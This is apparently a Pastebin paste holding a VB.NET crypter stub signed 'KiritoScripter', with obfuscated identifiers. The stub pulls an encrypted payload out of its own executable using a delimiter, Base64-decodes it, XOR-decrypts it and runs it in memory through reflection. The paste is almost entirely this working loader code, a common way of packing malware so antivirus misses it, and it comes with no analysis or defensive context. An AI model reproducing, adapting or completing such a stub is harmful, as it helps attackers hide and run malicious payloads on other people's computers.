Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Module のた任での
- Const たたつ任べ = "KiritoScripter"
- Dim てスすべべ() As String = Split(IO.File.ReadAllText(Reflection.Assembly.GetExecutingAssembly.Location), たたつ任べ)
- Dim はジ私はす As Byte()
- Public xorkeyy As String = てスすべべ(2)
- Sub Main()
- はジ私はす = Xor_Decrypt(Convert.FromBase64String((てスすべべ(1))))
- Dim つつのす愛 As Object = Reflection.Assembly.Load(はジ私はす).EntryPoint.Invoke(Nothing, Nothing)
- End Sub
- Public Function Xor_Decrypt(ByVal す私チべが As Byte()) As Byte()
- Dim チは愛のジ As Byte() = System.Text.Encoding.ASCII.GetBytes(xorkeyy)
- Dim べチべちす As Integer = す私チべが(す私チべが.Length - 1) Xor 112
- Dim スススのつ(す私チべが.Length) As Byte
- Dim つ愛ェのべ As Integer
- For のた任での0 As Integer = 0 To す私チべが.Length - 1
- スススのつ(のた任での0) = (す私チべが(のた任での0) Xor べチべちす) Xor チは愛のジ(つ愛ェのべ)
- If つ愛ェのべ = xorkeyy.Length - 1 Then つ愛ェのべ = 0 Else つ愛ェのべ = つ愛ェのべ + 1
- Next
- ReDim Preserve スススのつ(す私チべが.Length - 2)
- Return スススのつ
- End Function
- End Module
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement